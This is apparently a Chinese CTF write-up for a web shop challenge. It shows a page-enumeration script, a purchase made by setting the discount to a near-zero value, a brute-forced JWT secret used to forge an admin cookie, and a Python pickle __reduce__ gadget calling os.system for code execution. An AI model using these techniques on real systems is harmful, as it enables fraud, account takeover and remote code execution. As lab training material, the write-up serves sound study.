进入主页。就说要买V6
根据特征。V6图片地址为/static/img/lv/lv6.png
那么我们用脚本遍历page。然后判断返回内容中是否有V6的图片地址
import requests
for i in range(200):
url='http://70a35b89-8044-4dd2-8a10-f6c98daa9a70.node3.buuoj.cn/shop?page='+str(i)
result=requests.get(url).text
if '/static/img/lv/lv6.png' in result:
print (url)
得到结果。181页。购买
可以看到。这里有两个变量可控。一个是钱。一个是折扣。我们只有1000。
修改尝试修改钱/折扣来买V6
修改钱时。会提示操作失败
修改折扣为0.00000000001。302跳转b1g_m4mber
只允许admin访问。看下cookie。有jwt头
遇到jwt。一般就是ssti拿密钥。或者爆破
这里试下爆破。得到密钥1Kun
'
修改JWT为admin
得到web源码
在sshop/views/admin.py发现一个反序列化漏洞
python反序列化漏洞和PHP反序列化不一样。
php反序列化必须是存在一个类。序列化可以修改类中的值造成一定危害。如果类中没有什么危险函数。那么修改了类中的值危害也有限。
python反序列化通过__reduce__
可以重构对象。比如
class Person(object):
def __init__(self,username,password):
self.username = username
self.password = password
def __reduce__(self):
return (os.system, ('whoami',))
这个__reduce__
魔术方法会在反序列化的时候改变对象。也就是php中unserialize()触发
python序列化和两个函数有关。
cPickle.dumps()
#序列化
cPickle.loads()
#反序列化
参考文章:https://www.jianshu.com/p/061d2c594d97
将上图中的URL编码的exp。通过POST become参数发送。拿到flag